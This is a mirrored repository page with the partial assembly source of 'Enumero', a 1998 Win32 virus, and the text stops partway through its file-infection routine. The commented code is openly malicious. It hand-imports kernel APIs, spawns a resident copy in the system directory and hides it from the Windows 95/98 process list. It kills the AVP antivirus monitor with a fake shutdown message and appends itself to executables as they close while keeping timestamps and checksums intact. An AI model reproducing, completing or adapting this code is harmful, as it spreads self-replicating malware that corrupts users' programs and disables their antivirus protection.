mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 14:35:27 +00:00
1174 lines
41 KiB
NASM
1174 lines
41 KiB
NASM
|
|
|||
|
;
|
|||
|
; Enumero, (c)1998 by Virogen[NOP]
|
|||
|
; http://virogen.cjb.net
|
|||
|
;
|
|||
|
; This is a fairly simple virus I whipped up REAL fast outta the
|
|||
|
; existing enumiacs source. The only real thing I wanted to accomplish
|
|||
|
; with this virus was full win32 support and demonstration of proper
|
|||
|
; PE infection by appending at the end of the last object's virtual
|
|||
|
; size, not physical size.
|
|||
|
;
|
|||
|
; OS: Win32 (win95/98/NT)
|
|||
|
; Hosts: PE (Parastic - append to last object at obj_rva+obj_vsize
|
|||
|
; No date/time change
|
|||
|
; No attribute change
|
|||
|
; Correct checksum set in header.
|
|||
|
; Physical file size increase varies depending on file alignment
|
|||
|
; and previous padding on last object.
|
|||
|
; Characteristics: Memory resident. Infects PEs when they terminate. Note
|
|||
|
; that the PE must have created a window sometime in
|
|||
|
; its execution, it doesn't matter if this window
|
|||
|
; is visible or not. Process hidden from win95/98
|
|||
|
; process list.
|
|||
|
;
|
|||
|
;
|
|||
|
; greetz: lapse,jp,vecna,darkman, and everyone else
|
|||
|
;
|
|||
|
|
|||
|
include mywin.inc
|
|||
|
|
|||
|
ID_OFF equ 0ch ; offset of our marker in PE
|
|||
|
physical_eip equ 400h ; physical eip
|
|||
|
host_physical_eip equ physical_eip+(offset host_entry-offset vstart) ; physical eip of host entry set
|
|||
|
VIRUS_SIZE equ 6656 ; size after vgalign
|
|||
|
VIRTUAL_SIZE equ 6656
|
|||
|
|
|||
|
; max module/process names we can queue - keep in mind that each
|
|||
|
; is allocated 256 bytes of memory
|
|||
|
max_idx equ 300
|
|||
|
|
|||
|
.386
|
|||
|
locals
|
|||
|
jumps
|
|||
|
.model flat,STDCALL
|
|||
|
;
|
|||
|
; our imported APIs for spawned virus - the spawned virus doesn't have to
|
|||
|
; worry with manual importing nor delta offsets of course.
|
|||
|
;
|
|||
|
extrn ExitProcess:PROC
|
|||
|
extrn EnumWindows:PROC
|
|||
|
extrn SetPriorityClass:PROC
|
|||
|
extrn GetCurrentProcess:PROC
|
|||
|
extrn CloseHandle:PROC
|
|||
|
extrn ReadFile:PROC
|
|||
|
extrn WriteFile:PROC
|
|||
|
extrn SetFilePointer:PROC
|
|||
|
extrn GetModuleHandleA:PROC
|
|||
|
extrn MapViewOfFile:PROC
|
|||
|
extrn CreateFileMappingA:PROC
|
|||
|
extrn UnmapViewOfFile:PROC
|
|||
|
extrn SetEndOfFile:PROC
|
|||
|
extrn SetFilePointer:PROC
|
|||
|
extrn GetFileAttributesA:PROC
|
|||
|
extrn SetFileAttributesA:PROC
|
|||
|
extrn GetFileSize:PROC
|
|||
|
extrn GetTickCount:PROC
|
|||
|
extrn GetFileSize:PROC
|
|||
|
extrn GetFileTime:PROC
|
|||
|
extrn SetFileTime:PROC
|
|||
|
extrn GetProcAddress:PROC
|
|||
|
extrn CheckSumMappedFile:PROC
|
|||
|
extrn PeekMessageA:PROC
|
|||
|
extrn Sleep:PROC
|
|||
|
extrn CopyFileA:PROC
|
|||
|
extrn FindWindowA:PROC
|
|||
|
extrn GetWindowThreadProcessId:PROC
|
|||
|
extrn OpenProcess:PROC
|
|||
|
extrn PostMessageA:PROC
|
|||
|
extrn GetModuleFileNameA:PROC
|
|||
|
extrn LoadLibraryA:PROC
|
|||
|
extrn FreeLibrary:PROC
|
|||
|
extrn IsBadReadPtr:PROC
|
|||
|
|
|||
|
org 0
|
|||
|
.data
|
|||
|
db '<27> [Enumero] by Virogen [NOP] <20>' ; it's i said the fly
|
|||
|
.code
|
|||
|
vstart:
|
|||
|
call geteip ; find relative offset
|
|||
|
geteip:
|
|||
|
mov ebp,[esp] ; grab it off stack
|
|||
|
mov eax,ebp ; used below
|
|||
|
sub ebp,offset geteip ; fix it up
|
|||
|
add esp,4 ; fix da stack
|
|||
|
|
|||
|
; first, let's find kernel base. If this is a parastic portion of virus
|
|||
|
; executing, we'll need to obtain a few APIs in order to spawn the virus.
|
|||
|
; Here we get a pointer to the kernel from the stack (a return address).
|
|||
|
; Then we scan down until we find the kernel base.
|
|||
|
;
|
|||
|
; We encapsulate this with an SEH handler, in case something goes bad wrong
|
|||
|
; we simply immediatly jump to the host (if this is a parastic copy of the
|
|||
|
; virus).
|
|||
|
;
|
|||
|
call set_seh ; setup SEH frame
|
|||
|
;-- error handler
|
|||
|
mov esp,[esp+8]
|
|||
|
pushad
|
|||
|
pushfd
|
|||
|
call geteip3
|
|||
|
geteip3:
|
|||
|
pop ebp
|
|||
|
sub ebp,offset geteip3
|
|||
|
jmp seh_exit
|
|||
|
;-- end error handler
|
|||
|
set_seh:
|
|||
|
push dword ptr fs:[0] ; save old exception ptr
|
|||
|
mov fs:[0],esp ; set ptr to our exception handler
|
|||
|
mov edx,[esp+8] ; determine OS
|
|||
|
|
|||
|
find_base_loop:
|
|||
|
cmp dword ptr [edx+0b4h],edx ; if we're at base, then
|
|||
|
jz good_os ; offset 0b4h contains kernel
|
|||
|
dec edx ; base
|
|||
|
jmp find_base_loop
|
|||
|
|
|||
|
good_os:
|
|||
|
mov [ebp+kernelbase],edx ; save kernel base
|
|||
|
|
|||
|
pushad
|
|||
|
pushfd
|
|||
|
;
|
|||
|
; this is my API importer from lorez, imports APIs from the kernel32.dll
|
|||
|
; export table in memory. Someday I will recode this in a more efficient
|
|||
|
; fashion, but I am too lazy today.
|
|||
|
;
|
|||
|
; a brief explanation of the organization of the export table would be
|
|||
|
; useful here. Ok, basically there are three tables within the export
|
|||
|
; table : API RVA Table (32bit), Name Pointer Table(32bit), and Ordinal
|
|||
|
; Table (16bit). Ok, the ordinal number of an API is the entry number of
|
|||
|
; the API in the RVA array. So, multiply the ordinal number by four and
|
|||
|
; you've got an index into the API RVA Table. Probably you don't already
|
|||
|
; have the ordinal number though, so you'll have to find it. To do this,
|
|||
|
; you use the Name Pointer Table. This is an array of pointers to the
|
|||
|
; asciiz name of each API. When you find the pointer of the API you're
|
|||
|
; looking for by string compares, you take the index number of it and
|
|||
|
; multiply it by 2 (because the ordinal table is 16bit). Index the result
|
|||
|
; in the ordinal table, and you're all set.
|
|||
|
;
|
|||
|
;
|
|||
|
mov esi,edx
|
|||
|
add esi,[esi+3ch] ; relative ptr to PE header
|
|||
|
cmp word ptr [esi],'EP' ; make sure we're on right track
|
|||
|
jnz goto_host ; if not.. abort
|
|||
|
mov esi,[esi+120] ; get export table RVA
|
|||
|
add esi,edx ; relative to image base
|
|||
|
mov edi,[esi+36] ; get ordinal table RVA
|
|||
|
add edi,edx ; relative to image base
|
|||
|
mov [ebp+ordinaltbl],edi ; save it
|
|||
|
mov edi,[esi+32] ; get name ptr RVA
|
|||
|
add edi,edx ; is relative to image base
|
|||
|
mov [ebp+nameptrtbl],edi ; save it
|
|||
|
mov ecx,[esi+24] ; get number of name ptrs
|
|||
|
mov esi,[esi+28] ; get address table RVA
|
|||
|
add esi,edx ; is relative to image base
|
|||
|
mov [ebp+adrtbl],esi ; save it
|
|||
|
|
|||
|
xor edx,edx ; edx is our ordinal counter
|
|||
|
; edi=name ptr table
|
|||
|
; ecx=number of name ptrs
|
|||
|
lea esi,[ebp+APIs] ; -> API Name ptrs
|
|||
|
mov [ebp+ourAPIptr],esi ; save it
|
|||
|
lea eax,[ebp+API_Struct] ; our API address will go here
|
|||
|
mov [ebp+curAPIptr],eax ; save it
|
|||
|
chk_next_API_name:
|
|||
|
mov esi,[ebp+ourAPIptr] ; get ptr to structure item
|
|||
|
mov ebx,[esi] ; load ptr to our API name
|
|||
|
add ebx,ebp ; add relative address
|
|||
|
mov esi,[edi] ; get API name RVA
|
|||
|
add esi,[ebp+kernelbase] ; relative to image base
|
|||
|
compare_API_name:
|
|||
|
lodsb
|
|||
|
cmp al,byte ptr [ebx] ; compare a byte of names
|
|||
|
jnz not_our_API ; it's not our API
|
|||
|
cmp al,0 ; end of string?
|
|||
|
jz is_our_API ; it's our API
|
|||
|
inc ebx
|
|||
|
jmp compare_API_name
|
|||
|
|
|||
|
not_our_API:
|
|||
|
inc edx ; increment API counter
|
|||
|
cmp edx,ecx ; last entry of name ptr table?
|
|||
|
jz goto_host ; uhoh.. we didn't find one
|
|||
|
; of our APIs.. abort it all
|
|||
|
add edi,4 ; increment export name ptr idx
|
|||
|
mov esi,[ebp+ourAPIptr] ; restore our API name ptr struct
|
|||
|
jmp chk_next_API_name
|
|||
|
|
|||
|
is_our_API:
|
|||
|
|
|||
|
mov edi,[ebp+ordinaltbl] ; load oridinal table RVA
|
|||
|
push ecx
|
|||
|
push edx
|
|||
|
xchg edx,eax ; edx=API number
|
|||
|
add eax,eax ; *2 cuz ordinals are words
|
|||
|
add edi,eax ; add to ordinal table VA
|
|||
|
mov ax,[edi] ; get ordinal (word)
|
|||
|
xor edx,edx
|
|||
|
mov ecx,4
|
|||
|
mul ecx ; *4 cuz address tbl is dd's
|
|||
|
mov edi,[ebp+adrtbl] ; load address table VA
|
|||
|
add edi,eax ; set idx to API
|
|||
|
mov eax,edi
|
|||
|
sub eax,[ebp+kernelbase] ; get the VA of the entry
|
|||
|
mov [ebp+originalRVAptr],eax ; save it for kernel infection
|
|||
|
; notice that our last API
|
|||
|
; in the array is the one we
|
|||
|
; hook
|
|||
|
mov eax,[edi] ; get API RVA
|
|||
|
mov [ebp+originalRVA],eax ; save it for kernel infection
|
|||
|
add eax,[ebp+kernelbase] ; is relative to image base
|
|||
|
mov edi,[ebp+curAPIptr] ; idx to storage stucture
|
|||
|
mov [edi],eax ; save VA of API
|
|||
|
add edi,4 ; increment index
|
|||
|
mov [ebp+curAPIptr],edi ; save
|
|||
|
|
|||
|
pop edx
|
|||
|
pop ecx
|
|||
|
|
|||
|
mov edi,[ebp+nameptrtbl] ; reset export name ptr tableidx
|
|||
|
mov esi,[ebp+ourAPIptr] ; restore idx to our name ptrs
|
|||
|
add esi,4 ; increment idx API name ptr structure
|
|||
|
mov [ebp+ourAPIptr],esi ; save our new ptr to name ptr
|
|||
|
cmp dword ptr [esi],0 ; end of our API structure?
|
|||
|
jz found_all ; if so then we got 'em all
|
|||
|
mov edi,[ebp+nameptrtbl] ; reset idx to export name pt
|
|||
|
xor edx,edx ; reset API counter
|
|||
|
jmp chk_next_API_name
|
|||
|
|
|||
|
;
|
|||
|
; now we've imported all our needed APIs to spawn the virus and execute.
|
|||
|
; First we check to see if this is spawned or parastic copy by checking
|
|||
|
; delta offset.
|
|||
|
;
|
|||
|
found_all:
|
|||
|
or ebp,ebp ; spawned file or 1st gen?
|
|||
|
jz spawned_func
|
|||
|
;
|
|||
|
; if parastic copy of virus, then spawn virus and execute it.
|
|||
|
;
|
|||
|
push 275
|
|||
|
push 64 ; allocate memory for spawn
|
|||
|
call [ebp+GlobalAllocAPI] ; path and filename
|
|||
|
or eax,eax
|
|||
|
jz goto_host
|
|||
|
|
|||
|
xor ecx,ecx
|
|||
|
call GetVirusPathFile
|
|||
|
|
|||
|
mov [ebp+spawnfile],eax ; eax->sysdir/spawnfilename buffer
|
|||
|
push eax ; save it fer later
|
|||
|
|
|||
|
push eax
|
|||
|
call [ebp+DeleteFileAPI] ; attempt to delete
|
|||
|
|
|||
|
;
|
|||
|
; now we spawn a copy of the virus. If there is an error creating the
|
|||
|
; spawn file, then that means it is probably shared and therefore already
|
|||
|
; in memory.
|
|||
|
;
|
|||
|
pop esi ; esi->spawn filename
|
|||
|
call Create ; CreateFile
|
|||
|
cmp eax,-1 ; if error, then we're already in mem
|
|||
|
jz dealloc_goto_host
|
|||
|
push eax ; save handle
|
|||
|
mov ecx,VIRUS_SIZE
|
|||
|
mov esi,ebp
|
|||
|
add esi,offset vstart-physical_eip
|
|||
|
call Write ; write our virus
|
|||
|
call [ebp+CloseFileAPI] ; handle still on stack
|
|||
|
|
|||
|
lea eax,[ebp+sinfo] ; overwrite some other unused vars
|
|||
|
push eax
|
|||
|
call [ebp+GetStartupInfoAPI] ; get startup info of process
|
|||
|
|
|||
|
lea eax,[ebp+pinfo] ; storage for process info
|
|||
|
push eax
|
|||
|
lea eax,[ebp+sinfo] ; startup info
|
|||
|
push eax
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
push 67108928h ; CREATE_DEFAULT_ERROR_MODE|IDLE
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
mov esi,[ebp+spawnfile] ; esi->spawn sysdir/file
|
|||
|
push esi
|
|||
|
call [ebp+CreateProcessAPI] ; create our viral process
|
|||
|
|
|||
|
mov eax,[ebp+hprocess]
|
|||
|
push eax
|
|||
|
call [ebp+CloseHandleAPI] ; close handle of our process
|
|||
|
|
|||
|
dealloc_goto_host:
|
|||
|
mov eax,[ebp+spawnfile]
|
|||
|
push eax
|
|||
|
call [ebp+GlobalFreeAPI]
|
|||
|
goto_host:
|
|||
|
seh_exit:
|
|||
|
|
|||
|
or ebp,ebp ; if spanwed
|
|||
|
jz _exit
|
|||
|
|
|||
|
;
|
|||
|
; Here we calculate the image base, in case this executable was loaded at a base other
|
|||
|
; than the one specified in the PE header.
|
|||
|
;
|
|||
|
|
|||
|
call get_ib_displacement
|
|||
|
get_ib_displacement:
|
|||
|
mov ebx,newep[ebp]
|
|||
|
add ebx,(offset get_ib_displacement-offset vstart)
|
|||
|
pop eax
|
|||
|
sub eax,ebx ; eax=image base
|
|||
|
add host_entry[ebp],eax ; add image base to host entry rva
|
|||
|
|
|||
|
popfd
|
|||
|
popad
|
|||
|
pop dword ptr fs:[0] ; restore original SEH frame
|
|||
|
pop edx ; fixup stack
|
|||
|
|
|||
|
jmp [ebp+host_entry] ; jmp to host entry VA
|
|||
|
host_entry dd offset vstart ; store host entry here
|
|||
|
newep dd 0
|
|||
|
|
|||
|
; spawned virus code - we can throw away delta offsets now. This is
|
|||
|
; the portion of the virus that stays resident.
|
|||
|
;
|
|||
|
spawned_func:
|
|||
|
popfd
|
|||
|
popad
|
|||
|
pop dword ptr fs:[0] ; restore original SEH frame
|
|||
|
pop edx ; fixup stack
|
|||
|
xor ebp,ebp ; no delta offset
|
|||
|
;
|
|||
|
; first call PeekMessage so that the hourglass icon isn't displayed until
|
|||
|
; timeout
|
|||
|
;
|
|||
|
push 0
|
|||
|
push 1
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
push offset msgstruct
|
|||
|
call PeekMessageA
|
|||
|
|
|||
|
;
|
|||
|
; here we try to get the address of RegisterServiceProcess, which will
|
|||
|
; allow us to register as a service process under win95/98, therefore
|
|||
|
; hiding us from the ctrl-alt-del process list. This API not available
|
|||
|
; under WinNT, so we import it manually to make sure that it exists, we
|
|||
|
; don't need any ivalid ordinal numbers on spawned virus loadup.
|
|||
|
;
|
|||
|
; While we're at it, we'll also attempt to import the address of our
|
|||
|
; GetWindowModuleFileNameA from USER32.DLL. If this API doesn't exist,
|
|||
|
; which it is a fairly new API, then we just pass control to the host.
|
|||
|
;
|
|||
|
;
|
|||
|
push offset user32
|
|||
|
call GetModuleHandleA ; get handle of user32.dll
|
|||
|
or eax,eax
|
|||
|
jz _exit ; it should have been loaded
|
|||
|
push offset GetWindowModuleFileName
|
|||
|
push eax
|
|||
|
call GetProcAddress
|
|||
|
or eax,eax ; if we don't have this API, then
|
|||
|
jz _exit ; we must be in old NT or 95 crap
|
|||
|
mov GetWindowModuleFileNameA,eax
|
|||
|
push offset kernel32
|
|||
|
call GetModuleHandleA
|
|||
|
or eax,eax
|
|||
|
jz _exit ; something bad wrong if this
|
|||
|
push offset RegisterService
|
|||
|
push eax
|
|||
|
call GetProcAddress ; get rsp address
|
|||
|
or eax,eax
|
|||
|
jz isNT ; if not found, then NT system
|
|||
|
push 1 ; 1=register process
|
|||
|
push 0 ; null=current process
|
|||
|
call eax ; RegisterServiceProcess
|
|||
|
jmp is9598
|
|||
|
;
|
|||
|
; Under WinNT we'll make use of PSAPI.DLL functionz to retrieve module filenames.
|
|||
|
; We'll grab the address of GetModuleFileNameEx and EnumProcessModules
|
|||
|
;
|
|||
|
|
|||
|
isNT:
|
|||
|
push offset psapi
|
|||
|
call LoadLibraryA
|
|||
|
or eax,eax
|
|||
|
jz is9598
|
|||
|
mov phandle,eax
|
|||
|
push offset EnumPModules
|
|||
|
push eax
|
|||
|
call GetProcAddress
|
|||
|
mov EnumProcessModules,eax
|
|||
|
or eax,eax
|
|||
|
jz unload_psapi
|
|||
|
push offset GetMFileName
|
|||
|
push phandle
|
|||
|
call GetProcAddress
|
|||
|
mov GetModuleFileNameEx,eax
|
|||
|
or eax,eax
|
|||
|
jz unload_psapi
|
|||
|
jmp is9598
|
|||
|
unload_psapi:
|
|||
|
push phandle
|
|||
|
call FreeLibrary
|
|||
|
is9598:
|
|||
|
;
|
|||
|
; get rid of AVP Monitor by simulating a system shutdown, sending WM_ENDSESSION to
|
|||
|
; its window
|
|||
|
;
|
|||
|
;
|
|||
|
push offset avp_wndname ; AVP window name
|
|||
|
push 0 ; class name
|
|||
|
call FindWindowA ; Find AVP
|
|||
|
or eax,eax ; get handle?
|
|||
|
jz no_avp ; if not, then abort
|
|||
|
|
|||
|
push 0 ; no lparam
|
|||
|
push 0 ; or wparam
|
|||
|
push WM_ENDSESSION ; WM_ENDSESSION generated at system shutdown
|
|||
|
push eax ; handle to window
|
|||
|
call PostMessageA ; Post the message
|
|||
|
|
|||
|
no_avp:
|
|||
|
;
|
|||
|
; allocate memory for, and load our virus for later infection
|
|||
|
;
|
|||
|
push 280
|
|||
|
push 64
|
|||
|
call [GlobalAllocAPI] ; allocate memory for del buf
|
|||
|
or eax,eax
|
|||
|
jz _exit
|
|||
|
mov del_buf,eax
|
|||
|
push VIRUS_SIZE
|
|||
|
push 64
|
|||
|
call [GlobalAllocAPI]
|
|||
|
or eax,eax
|
|||
|
jz _exit
|
|||
|
mov virus_mem,eax
|
|||
|
xor ecx,ecx ; return exe filename
|
|||
|
call GetVirusPathFile
|
|||
|
add eax,280
|
|||
|
inc ecx ; ecx!=0 get temp filename
|
|||
|
call GetVirusPathFile
|
|||
|
push eax ; save for below
|
|||
|
push 0
|
|||
|
push eax
|
|||
|
sub eax,280
|
|||
|
push eax
|
|||
|
call CopyFileA
|
|||
|
pop esi ; esi->tmp filename
|
|||
|
call OpenRead
|
|||
|
cmp eax,-1
|
|||
|
jz dealloc_exit
|
|||
|
mov esi,virus_mem
|
|||
|
mov ecx,VIRUS_SIZE
|
|||
|
push eax ; save handle for close
|
|||
|
call Read
|
|||
|
cmp bytesread,VIRUS_SIZE
|
|||
|
jnz dealloc_exit
|
|||
|
call CloseHandle ; handle still on stack
|
|||
|
mov eax,del_buf
|
|||
|
inc ecx ; retrieve temp filename
|
|||
|
call GetVirusPathFile ; get temp filename again
|
|||
|
push eax
|
|||
|
Call [DeleteFileAPI] ; delete temp file
|
|||
|
jmp continue_spawned
|
|||
|
dealloc_exit:
|
|||
|
push del_buf
|
|||
|
call [GlobalFreeAPI]
|
|||
|
push virus_mem
|
|||
|
call [GlobalFreeAPI] ; handle to mem still on stack
|
|||
|
jmp _exit
|
|||
|
;
|
|||
|
; now we need to allocate memory for our array
|
|||
|
;
|
|||
|
continue_spawned:
|
|||
|
push 256*max_idx+1
|
|||
|
push 64 ; GPTR - fixed, zero init
|
|||
|
call [GlobalAllocAPI] ; allocate memory for our array
|
|||
|
or eax,eax ; error allocating? exit
|
|||
|
jz dealloc_exit
|
|||
|
mov pnames,eax
|
|||
|
push 1000h
|
|||
|
push 64 ; allocate memory for modules enumeration
|
|||
|
call [ebp+GlobalAllocAPI] ;
|
|||
|
or eax,eax
|
|||
|
jz dealloc_exit
|
|||
|
mov mod_array,eax
|
|||
|
|
|||
|
call GetCurrentProcess ; get current process handle
|
|||
|
push 64 ; idle priority class
|
|||
|
push eax ; handle of current process
|
|||
|
call SetPriorityClass ; set priority to idle
|
|||
|
|
|||
|
mov testnums,0 ; enumerate and load
|
|||
|
call InstallEnum ; first enumeration
|
|||
|
;
|
|||
|
; This is our memory resident loop. What this does is every 1 second
|
|||
|
; check the number of windows open by re-enumerating them. If this number
|
|||
|
; differs from the last # of open windows, then we go and try to infect
|
|||
|
; all the queued processes, in hopes that one has closed and is suitable
|
|||
|
; for infection. We try to infect the queued processes about 10 times with
|
|||
|
; a quarter second delay between each, or until we at least can open one of
|
|||
|
; the files, this is just in case the window was closed but we still need
|
|||
|
; to give the process time to terminate.
|
|||
|
;
|
|||
|
main_loop:
|
|||
|
push 500 ; 1/2 second sleep
|
|||
|
call Sleep ; suspend process for 1/2 second
|
|||
|
|
|||
|
mov testnums,1 ; just check number of windows
|
|||
|
call InstallEnum ; get number of windows
|
|||
|
mov eax,totalwnd ; get total windows from last en&l
|
|||
|
cmp testednums,eax
|
|||
|
jz main_loop ; if equal keep enumerating
|
|||
|
|
|||
|
mov icnt,0 ; we want to keep trying to infect
|
|||
|
do_i:
|
|||
|
call Infect ; infect if different # of windows open
|
|||
|
cmp re_enum,0
|
|||
|
jnz over_i ; if infected a file, then abort
|
|||
|
push 250 ; 1/4 second
|
|||
|
call Sleep ; suspend process for 1/4 second
|
|||
|
inc icnt ; increment counter
|
|||
|
cmp icnt,10 ; we'll try 10 times
|
|||
|
jnz do_i
|
|||
|
over_i:
|
|||
|
mov testnums,0 ; enumerate and load windows
|
|||
|
call InstallEnum
|
|||
|
jmp main_loop ; we'll want something else here..
|
|||
|
; may eat up too much cpu time
|
|||
|
; some waitforsingleobject variation
|
|||
|
_exit:
|
|||
|
push 0
|
|||
|
call ExitProcess
|
|||
|
;
|
|||
|
; This procedure enumerates the windows using EnumWindows. See
|
|||
|
; EnumWindowsProcedure below, which is called for each window found.
|
|||
|
;
|
|||
|
InstallEnum proc
|
|||
|
cmp testnums,1
|
|||
|
jz jdoit
|
|||
|
mov totalwnd,0
|
|||
|
mov totalexe,0
|
|||
|
mov eax,pnames
|
|||
|
mov curpos,eax
|
|||
|
jdoit:
|
|||
|
mov testednums,0
|
|||
|
push 9090h
|
|||
|
push offset EnumWindowsProc
|
|||
|
call EnumWindows ; set up window enumeration
|
|||
|
ret
|
|||
|
|
|||
|
InstallEnum endp
|
|||
|
|
|||
|
;
|
|||
|
; EnumWindowsProc - this procedure is called for every window found.
|
|||
|
;
|
|||
|
;
|
|||
|
EnumWindowsProc proc uses ebx edi esi, hwnd:DWORD, lparam:DWORD
|
|||
|
cmp testnums,1 ; only testing num of windows?
|
|||
|
jz enum_only ; if so just increment counter
|
|||
|
cmp totalexe,max_idx ; filled our array?
|
|||
|
jge not_exe ; if so just increment counter
|
|||
|
mov eax,GetWindowModuleFileNameA
|
|||
|
or eax,eax
|
|||
|
jz is_old_win
|
|||
|
push 255 ; maximum size of path&filename + null
|
|||
|
push curpos ; pointer to current member of array
|
|||
|
push hwnd ; handle of window
|
|||
|
call eax ; get associated module filename
|
|||
|
or eax,eax ; error - must be NT
|
|||
|
jnz got_fname_ok
|
|||
|
is_old_win:
|
|||
|
; this is NT specific code
|
|||
|
; If we couldn't
|
|||
|
cmp EnumProcessModules,0 ; make sure we got api va
|
|||
|
jz bad_abort
|
|||
|
cmp GetModuleFileNameEx,0 ; make sure we got api va
|
|||
|
jz bad_abort
|
|||
|
push offset pid
|
|||
|
push hwnd
|
|||
|
call GetWindowThreadProcessId ; get process id
|
|||
|
push pid
|
|||
|
push 0
|
|||
|
push PROCESS_ALL_ACCESS
|
|||
|
call OpenProcess ; open da process
|
|||
|
mov phandle,eax
|
|||
|
or eax,eax
|
|||
|
jz bad_abort
|
|||
|
push offset bytesread
|
|||
|
push 1000h
|
|||
|
push mod_array
|
|||
|
push phandle
|
|||
|
call [EnumProcessModules] ; enumerate process modules
|
|||
|
mov esi,mod_array
|
|||
|
getmodloop:
|
|||
|
lodsd
|
|||
|
or eax,eax
|
|||
|
jz abortmodloop
|
|||
|
push 255 ; maximum size of path&filename + null
|
|||
|
push curpos ; pointer to current member of array
|
|||
|
push eax
|
|||
|
push phandle
|
|||
|
call [GetModuleFileNameEx] ; get associated module filename
|
|||
|
call testexe
|
|||
|
jc getmodloop ; if not exe then keep scanning
|
|||
|
abortmodloop:
|
|||
|
push eax
|
|||
|
push phandle
|
|||
|
call CloseHandle
|
|||
|
pop eax
|
|||
|
got_fname_ok:
|
|||
|
call testexe
|
|||
|
jc not_exe ; if not, then don't add to pointer
|
|||
|
add curpos,256 ; increment pointer to next member of array
|
|||
|
inc totalexe ; increment total #s of EXEs found
|
|||
|
not_exe:
|
|||
|
inc totalwnd ; increment total number of window
|
|||
|
bad_abort:
|
|||
|
ret
|
|||
|
enum_only:
|
|||
|
inc testednums
|
|||
|
ret
|
|||
|
EnumWindowsProc endp
|
|||
|
|
|||
|
;
|
|||
|
; here we search the saved process filenames and try to infect each one
|
|||
|
;
|
|||
|
Infect proc
|
|||
|
mov esi,pnames ; pointer to allocated array
|
|||
|
sub esi,256 ; member -1, will make 0 in loop
|
|||
|
mov curidx,-1 ; will increment to 0
|
|||
|
mov re_enum,0 ; if we infected flag
|
|||
|
iloop:
|
|||
|
inc curidx ; increment current member of array
|
|||
|
add esi,256 ; increment index into array
|
|||
|
mov eax,totalexe ; get total EXEs we found in enumer
|
|||
|
cmp curidx,eax ; we exceeded that amount?
|
|||
|
jg abloop ; if so we're done
|
|||
|
push esi ; esi->array member (filename); save
|
|||
|
call OpenFile ; try and open it
|
|||
|
pop esi ; restore ptr to filename
|
|||
|
cmp eax,-1 ; error opening file?
|
|||
|
jz iloop ; if so skip to next member of array
|
|||
|
mov fnameptr,esi ; else save the filename pointer
|
|||
|
push eax ; eax=handle of file
|
|||
|
call CloseHandle ; close the file
|
|||
|
push esi
|
|||
|
call InfectFile ; infect the file
|
|||
|
pop esi
|
|||
|
mov re_enum,1 ; set successful infectin flag
|
|||
|
jmp iloop ; continue trying to infect
|
|||
|
abloop:
|
|||
|
ret
|
|||
|
Infect endp
|
|||
|
|
|||
|
testexe proc
|
|||
|
or eax,eax
|
|||
|
jz return_stc
|
|||
|
mov ecx,eax ; ecx=size of path&filename of module
|
|||
|
add ecx,curpos ; set up pointer to end of path&filename
|
|||
|
sub ecx,3 ; extension starts here
|
|||
|
cmp word ptr [ecx],'XE' ; make sure it's EXE
|
|||
|
jz return_clc
|
|||
|
cmp word ptr [ecx],'xe'
|
|||
|
jz return_clc
|
|||
|
return_stc:
|
|||
|
stc
|
|||
|
ret
|
|||
|
return_clc:
|
|||
|
clc
|
|||
|
ret
|
|||
|
testexe endp
|
|||
|
|
|||
|
; return pointer to virus path and filename
|
|||
|
; entry: eax->buffer
|
|||
|
; ecx=0 if exe file, 1 if tmp file
|
|||
|
; return: eax->buffer
|
|||
|
GetVirusPathFile proc
|
|||
|
|
|||
|
push eax
|
|||
|
push ecx
|
|||
|
push eax
|
|||
|
|
|||
|
push 260 ; max path size
|
|||
|
push eax ; ptr
|
|||
|
call [ebp+GetSysDirAPI] ; get sys directory
|
|||
|
|
|||
|
pop edi ; edi->sys directory
|
|||
|
add edi,eax ; edi->end of dir
|
|||
|
pop ecx
|
|||
|
or ecx,ecx
|
|||
|
jnz tmpname
|
|||
|
lea esi,[ebp+virusname] ; esi->spawn filename
|
|||
|
jmp append
|
|||
|
tmpname:
|
|||
|
lea esi,[ebp+tempname]
|
|||
|
append:
|
|||
|
call copy_str ; append to sys dir
|
|||
|
pop eax
|
|||
|
ret
|
|||
|
|
|||
|
GetVirusPathFile endp
|
|||
|
|
|||
|
|
|||
|
OpenRead:
|
|||
|
mov ecx,3
|
|||
|
mov ebx,80000000h
|
|||
|
jmp or
|
|||
|
Create:
|
|||
|
mov ecx,1
|
|||
|
jmp of
|
|||
|
OpenFile proc
|
|||
|
mov ecx,3
|
|||
|
of:
|
|||
|
mov ebx,0c0000000h
|
|||
|
or:
|
|||
|
push 0
|
|||
|
push 20h ; attribute normal
|
|||
|
push ecx ; 3=open existing file
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
push ebx ; permissions
|
|||
|
push esi
|
|||
|
call [ebp+CreateFileAPI]
|
|||
|
ret
|
|||
|
OpenFile endp
|
|||
|
|
|||
|
Read proc
|
|||
|
push 0
|
|||
|
push offset bytesread
|
|||
|
push ecx
|
|||
|
push esi
|
|||
|
push eax
|
|||
|
call ReadFile
|
|||
|
ret
|
|||
|
Read endp
|
|||
|
|
|||
|
Write proc
|
|||
|
push 0
|
|||
|
lea ebx,[ebp+bytesread]
|
|||
|
push ebx
|
|||
|
push ecx
|
|||
|
push esi
|
|||
|
push eax
|
|||
|
call [ebp+WriteFileAPI]
|
|||
|
ret
|
|||
|
Write endp
|
|||
|
|
|||
|
|
|||
|
;-----------------------------------------------
|
|||
|
; infect file - call with fnameptr set
|
|||
|
;
|
|||
|
; As you can see, we append to the last object at RVA+virtual size
|
|||
|
; and then set physical size to file_align(obj_virtual_size+
|
|||
|
; virus_physical_size). In this way, we take advantage of any padded
|
|||
|
; space in the last object therefore decreasing the physical size
|
|||
|
; increase of the host.
|
|||
|
;
|
|||
|
; It is my contention, that since the virtual size usually represents
|
|||
|
; the true unaligned physical size, appending should always occur
|
|||
|
; at the end of the virtual size and then the physical size should
|
|||
|
; be aligned to the new virtual size.
|
|||
|
;
|
|||
|
;
|
|||
|
InfectFile proc
|
|||
|
|
|||
|
mov eax,fnameptr
|
|||
|
push eax
|
|||
|
call GetFileAttributesA ; get file attributes
|
|||
|
mov oldattrib,eax
|
|||
|
|
|||
|
cmp eax,-1 ; if error then maybe shared
|
|||
|
jnz not_shared
|
|||
|
ret ; can't infect it
|
|||
|
|
|||
|
not_shared:
|
|||
|
push 20h ; +A
|
|||
|
mov eax,fnameptr
|
|||
|
push eax
|
|||
|
